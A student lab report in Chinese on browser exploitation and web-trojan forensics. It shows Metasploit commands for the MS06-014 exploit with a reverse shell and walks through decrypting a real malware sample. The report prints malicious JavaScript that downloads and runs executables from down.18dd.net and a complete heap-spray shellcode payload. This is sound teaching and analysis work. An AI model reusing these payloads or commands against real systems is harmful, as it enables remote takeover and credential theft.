20252901 2025-2026-2 《网络攻防实践》实践十一报告

20252901 程宇 2025-2026-2 《网络攻防实践》实践十一报告

一、实践内容概述

实验目标

  • 掌握使用 Metasploit 框架实施 Web 浏览器渗透攻击的方法,理解网页木马的构造与攻击原理。
  • 掌握网页木马攻击场景的取证分析流程,学会对混淆后的恶意代码进行解密与逆向分析。
  • 体验 Web 浏览器渗透攻击的攻防对抗过程,理解攻击方的混淆手段与防守方的分析方法。
  • 认识浏览器漏洞的危害性,建立安全上网意识,掌握基本的恶意代码识别与防范技能。

实验环境

硬件与软件环境

角色 系统与配置 IP 地址
攻击机 Kali Linux 192.168.200.3
靶机 1 Windows 2000 Server SP0,预装 IE 5.0/6.0 192.168.200.8
靶机 2 Windows XP SP2,用于恶意代码静态分析 192.168.200.7

辅助工具:PEiD 0.95、IDA Pro Free、W32Dasm、超级巡警虚拟机脱壳器、在线加密解密工具(XXTEA、Packed、八进制 / 十六进制转字符串、HTML 格式化)

网络拓扑

攻击机与靶机处于同一局域网段,通过 VMware NAT 模式(VMnet 8)连接,确保网络连通性。


二、实践步骤与过程

任务一:Web 浏览器渗透攻击(MS06-014 漏洞利用)

MS06-014 是 Microsoft Internet Explorer 中 COM 对象远程代码执行漏洞,攻击者可通过构造恶意网页,诱导用户访问后执行任意代码。

步骤 1:环境准备与连通性测试

分别启动攻击机 Kali 和靶机 Windows 2000 Server。在靶机中执行 ipconfig 命令,确认 IP 地址为 192.168.200.8

image

在攻击机中执行 ping 192.168.200.8,测试网络连通性,确保数据包无丢失。

image

步骤 2:启动 Metasploit 并选择漏洞模块

在 Kali 终端启动 Metasploit 控制台,搜索 MS06-014 对应的漏洞模块:

sudo msfconsole
search MS06-014

搜索结果显示唯一可用模块:exploit/windows/browser/ie_createobject。加载该模块:

msf> use exploit/windows/browser/ie_createobject

image

步骤 3:配置攻击载荷与参数

查看可用攻击载荷:

msf6 exploit(windows/browser/ie_createobject)> show payloads

image

选择反向 TCP Shell 载荷(便于攻击机主动连接靶机):

msf6 exploit(windows/browser/ie_createobject)> set payload windows/shell_reverse_tcp

配置攻击机 IP 地址(LHOST):

msf6 exploit(windows/browser/ie_createobject)> set LHOST 192.168.200.3

(可选)配置监听端口,默认使用 4444 端口。
image

步骤 4:启动攻击并生成恶意 URL

执行攻击命令:

msf6 exploit(windows/browser/ie_createobject)> exploit

攻击成功后,Metasploit 会生成恶意 URL,例如:

http://192.168.200.3:8080/iKxLPtuGU9Nwzc

image

步骤 5:靶机访问恶意 URL

在 Windows 2000 靶机的 Internet Explorer 中输入上述恶意 URL,浏览器会显示一串随机字符,无明显异常。

image

步骤 6:建立远程会话并执行命令

回到攻击机,Metasploit 控制台会显示会话建立成功:

image

进入远程 Shell 会话:

msf6 exploit(windows/browser/ie_createobject)> sessions -i 1

在远程 Shell 中执行命令,验证控制权:

C:\Documents and Settings\Administrator> ipconfig

输出结果显示靶机 IP 地址为 192.168.200.7,攻击成功。

image


任务二:取证分析实践 —— 网页木马攻击场景分析

本次分析针对一个真实的网页木马样本,从初始 HTML 文件开始,逐层解密恶意代码,追踪攻击流程。
在实验开始前,请将学习通中的压缩包下载下来。后续的exe文件都在这个压缩包里提供。

步骤 1:分析初始文件 start.html

用记事本打开 start.html,搜索关键字 new09.htm,发现页面底部存在隐藏 iframe:

<iframe src="new09.htm" width="0" height="0"></iframe>

该 iframe 用于加载恶意页面,且宽高为 0,用户无法察觉。
image

步骤 2:分析 new09.htm 文件

由于提供的压缩包无该文件,只能参考学习通教程《网页挂马分析实践参考(上)》,推断new09.htm 的相关代码如下:

<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>
<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>

打开计算网址 https://www.tooldeer.com/hashcalculator-md5.html ,计算两个 URL 的 MD5 值:

URL MD5 值 性质
http://js.users.51.la/1299644.js 23180a42a2ff1192150231b44ffdf3d3 流量统计代码,非恶意
http://aa.18dd.net/aa/kl.htm 7f60672dcd6b5e90b6772545ee219bd3 恶意代码文件

image
image

步骤 3:解密 kl.htm 文件(XXTEA+Base64 加密)

在学习通资料的实践 11 中找到参考答案文件夹,从"网页挂马分析实践"页面找到压缩包并下载(解压密码 virus)。

打开 7f60672dcd6b5e90b6772545ee219bd3 文件,发现代码结构:
image
image

t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));

可知使用 XXTEA+Base64 加密,密钥为十六进制 \x73\x63\x72\x69\x70\x74。通过在线工具(https://lzltool.cn/Toolkit/ConvertStringToHexadecimalhttps://www.freetoolhouse.com/other-tool/hex-to-string )转换为字符串,即密钥为 script

使用在线 XXTEA 解密工具(学习通教程链接已经失效,其他在线解密无法正常使用,请访问 https://tool.bugku.com/safe/xxtea.php ),输入密文和密钥 script,解密得到十六进制代码。(5.19补充:这个网址好像现在也挂了。读者可以多找几个,很多网址解密都显示失败或者密钥格式不匹配。在此附上智谱清言解密过程 https://chatglm.cn/share/1FODGXQn )
image

将十六进制代码转换为字符串,得到核心恶意代码:
image

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
    try{
        var e;
        var ado=(document.createElement("object"));
        ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
        var as=ado.createobject("Adodb.Stream","")
    }catch(e){};
    finally{
        var expires=new Date();
        expires.setTime(expires.getTime()+24*60*60*1000);
        document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
        if(e!="[object Error]"){
            document.write("<script src=http://aa.18dd.net/aa/1.js></script>")
        }else{
            // 依次尝试暴风影音、PPStream、百度搜霸漏洞
            try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}catch(f){};
            finally{if(f!="[object Error]"){document.write("<script src=http://aa.18dd.net/aa/b.js></script>")}}
            try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}catch(g){};
            finally{if(g!="[object Error]"){document.write("<script src=http://aa.18dd.net/aa/pps.js></script>")}}
            try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}catch(h){};
            finally{if(h!="[object Error]"){obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
        }
    }
}

漏洞分析:该代码同时利用 4 个流行软件的漏洞:

  • Adodb.Stream:微软数据库访问对象漏洞(MS06-014)
  • MPS.StormPlayer:暴风影音 ActiveX 控件漏洞
  • POWERPLAYER.PowerPlayerCtrl.1:PPStream 播放器漏洞
  • BaiduBar.Tool:百度搜霸工具栏漏洞

步骤 4:解密三个 JS 恶意文件

计算三个 JS 文件的 MD5 值,并分别解密:

文件 URL MD5 值 加密方式 解密结果
http://aa.18dd.net/aa/1.js 5d7e9058a857aa2abee820d5473c5fa4 十六进制 下载 http://down.18dd.net/bb/014.exe 并执行
http://aa.18dd.net/aa/b.js 3870c28cc279d457746b3796a262f166 Packed 加密 包含 shellcode 下载器,下载 http://down.18dd.net/bb/bf.exe
http://aa.18dd.net/aa/pps.js 5f0b8bf0385314dbe0e5ec95e6abedc2 八进制加密 包含 shellcode 下载器,下载 http://down.18dd.net/bb/pps.exe

1.js 解密过程:将十六进制代码转换为字符串,得到:
image

var url="http://down.18dd.net/bb/014.exe";
try{
    var xml=ado.CreateObject("Microsoft.XMLHTTP","");
    xml.Open("GET",url,0);
    xml.Send();
    as.type=1;
    as.open();
    as.write(xml.responseBody);
    path="..\\ntuser.com";
    as.savetofile(path,2);
    as.close();
    var shell=ado.createobject("Shell.Application","");
    shell.ShellExecute("cmd.exe","/c "+path,"","open",0)
}catch(e){}

可提取下载地址 http://down.18dd.net/bb/014.exe

b.js 解密过程:由于找不到解码工具(《网页挂马分析实践参考》链接已失效),本处通过询问大模型的方式进行解密。解密之后得到包含堆喷射技术的 shellcode,其中包含下载 bf.exe 的 URL:http://down.18dd.net/b/bfb.exe
image
image
image
image

pps.js 解密过程:将八进制代码通过在线工具(https://config.net.cn/tools/Bit8ToText.html )转换为字符串,得到类似的堆喷射代码:

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458")
var shellcode = unescape("%uf3e9%u0000"+
"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer

对标红部分(shellcode 中 URL 编码),每个 %uXXXX 反转字节顺序得到 ASCII 字符:

  • %u7468 → 0x68 0x74 → ht
  • %u7074 → 0x74 0x70 → tp
  • %u2f3a → 0x3a 0x2f → :/
  • 以此类推,最终拼接得到完整 URL:http://down.18dd.net/b/pps.exe

步骤 5:解压 bd.cab 文件

下载 http://down.18dd.net/bb/bd.cab (请在学习通下载的压缩包中寻找),MD5 值为 1c1d7b3539a617517c49eee4120783b2。使用 cabextract bd.cab 命令解压(在xp系统中可以直接双击打开),得到 bd.exe 可执行文件。

步骤 6:分析可执行文件一致性

注意:由于原始链接已无法访问,请从学习通下载相关文件。不建议在自己电脑上进行解压,如果被安全软件查到,文件会被删除。
image

找到四个可执行文件:14.exebf.exepps.exebd.exe。使用 md5sum 命令计算文件哈希:
image

md5sum 14.exe bf.exe pps.exe bd.exe

结果显示后三个文件的 MD5 值均为 1290ecd734d68d52318ea9016dc6fe63,说明它们是同一个文件的不同副本。

image

步骤 7:静态分析可执行文件

查壳:使用 PEiD 工具分析 pps.exe,显示为 Borland Delphi v6.0 - v7.0,无加壳;而 14.exe 可以顺利使用超级巡警工具脱壳。

image

image

反汇编:使用 IDA Pro Free 和 W32Dasm 软件加载 pps.exe,查看字符串窗口,发现以下关键信息:
image

  • 大量下载链接http://down.18dd.net/kl/0.exehttp://down.18dd.net/kl/19.exe ,说明该程序会批量下载更多木马。
    image

  • 批处理文件Alletdel.bat,包含 goto try 循环,用于不断执行删除文件、修改系统日期等恶意操作。
    image

  • 自动运行文件AutoRun.inf,用于通过 U 盘传播。
    image

  • 系统文件引用advapi32.dlldrivers/klif.sys,说明会修改注册表和系统驱动。
    image

  • 安全软件对抗:包含"瑞星卡卡上网安全助手 - IE 防漏墙"、"允许执行"等字符串,用于绕过安全软件检测。

加载脱壳后的 14.exe 进行分析:

image

这是一个针对 QQ 华夏游戏的盗号木马,从反汇编提取的字符串可完整还原其行为链:病毒运行后先通过 goto Loop 创建循环并执行 del %0attrib -r -a -s -h 命令自毁并清除痕迹,随后释放 kaqhfaz.exekaqhfcs.dllkaqhfzy.dll 等核心文件及伪装成系统字体的 enhuafx.fon 到系统目录,同时创建 C:\DFD 临时目录;它通过在注册表注册 CLSID 为 {67D81718-1314-5200-2597-587901018076} 的 COM 组件,利用 ShellExecuteHooks 实现隐蔽持久化,调用 EnHookWindow 函数安装全局钩子,注入 explorer.exeqqhxgame 进程监控键盘输入,最终将窃取的账号密码通过 Url1 等预设地址发送给黑客。


任务三:攻防对抗实践 —— Web 浏览器渗透攻击攻防

实践的详细内容可参考任务一,此处省略部分过程

攻击方操作

使用 Metasploit 构造多个漏洞的渗透攻击代码,例如同时利用 MS06-014 和 MS07-073 漏洞。对生成的恶意代码进行混淆处理:

  • 添加大量空格和换行,破坏代码可读性。
  • 使用字符串拆分、变量重命名等手段,隐藏关键函数和 URL。

将混淆后的代码组装成恶意 URL,例如:

http://192.168.200.3:8080/hB24rFQgg1J6

image

防守方操作

访问挂马链接

image

获取源代码:使用浏览器访问该 URL,右键查看页面源代码。
image

代码格式化:选择文件右键复制,粘贴到自己的电脑上,使用在线 HTML 格式化工具(http://www.esjson.com/htmlformat.html ),使用普通压缩去除多余空格和换行,还原代码结构。

image

识别与分析:这是一个专门针对 Windows XP/2003 系统上 IE6/IE7 浏览器的经典网页挂马下载器。页面加载时会自动执行 SZMmXayqx 函数,遍历 13 个 2006-2007 年间的高危 ActiveX 漏洞 CLSID,通过guLEqgMoGEVlDuguiKbAJGJYtMtqSua 函数尝试 6 种不同的对象创建方式绕过安全限制,只要有一个漏洞未被修复,就会调用 UXUefeCmY 函数从当前网页同目录下载 payload 恶意文件,保存到系统临时目录 %TEMP%\krOEDo.exe 并以完全隐藏的窗口模式运行。

提取关键 CLSID 值,例如 BD96C556-65A3-11D0-983A-00C04FC29E36。通过检索,确定对应的漏洞为 MS06-014(MDAC RDS.DataSpace 漏洞)和 MS06-073(WMI Object Broker 漏洞)。

打开靶机的任务管理器,可以看到对应的进程映像。

image


三、学习中遇到的问题

问题 1:Windows 2000 靶机无法访问恶意 URL,显示"找不到服务器"。

  • 原因:经排查发现做实验二的时候,把攻击机改成了桥接模式。
  • 解决方法:将攻击机网络适配器重新设置回 VMnet 8 模式。

问题 2:实验样本中的 URL 已失效,学习通下载的压缩包解压后无法找到实验所需的可执行文件。

  • 原因:电脑杀毒软件将可执行文件自动删除了。
  • 解决方法:不要在自己的电脑上解压,而是先把压缩包传到 WinXP 虚拟机中再进行操作。

四、实践总结

实验总结

本次实验完成了 Web 浏览器渗透攻击、网页木马取证分析和攻防对抗三个核心任务:

  • 成功利用 MS06-014 漏洞构造恶意网页,获取了 Windows 2000 靶机的远程 Shell 权限,验证了浏览器漏洞的危害性。
  • 完成了一个多层加密的网页木马样本分析,掌握了 XXTEA、Packed、八进制 / 十六进制等常见恶意代码加密方式的解密方法,以及可执行文件的静态分析流程。
  • 体验了攻防对抗的完整过程,理解了攻击方的代码混淆手段和防守方的分析思路。

实验思考

  • 浏览器漏洞的普遍性与危害性:本次实验使用的 MS06-014 漏洞发布于 2006 年,但在未打补丁的旧系统中仍能成功利用。这说明及时更新系统补丁和软件版本是防范浏览器攻击的最有效手段。
  • 恶意代码的传播与对抗:网页木马通常利用多个流行软件的漏洞进行"广撒网"式攻击,并通过代码混淆、多文件嵌套等手段躲避检测。防守方需要掌握多种解密和逆向分析技术,才能有效识别和清除恶意代码。
  • 安全意识的重要性:浏览器攻击通常依赖社会工程学手段,诱导用户点击可疑链接。因此,用户应养成良好的上网习惯,不点击来历不明的链接和邮件附件,不访问不可信的网站。
  • 攻防不对称性:攻击方只需找到一个未修复的漏洞即可实施攻击,而防守方需要防范所有可能的漏洞和攻击手段,防守成本远高于攻击成本。这要求我们建立多层次的安全防御体系,包括防火墙、杀毒软件、入侵检测系统等。

由于显示器出现故障,中途实验换成远程控制电脑主机的方式进行。第二个实验进行的过程中困难重重,经过不懈奋斗终于完成实验。通过本次实验,我深入理解了浏览器安全攻防的原理和实践方法,提高了恶意代码分析和应急响应能力,同时也认识到网络安全的复杂性和重要性。


参考资料

posted @ 2026-05-18 22:53  行走的yu  阅读(161)  评论(0)    收藏  举报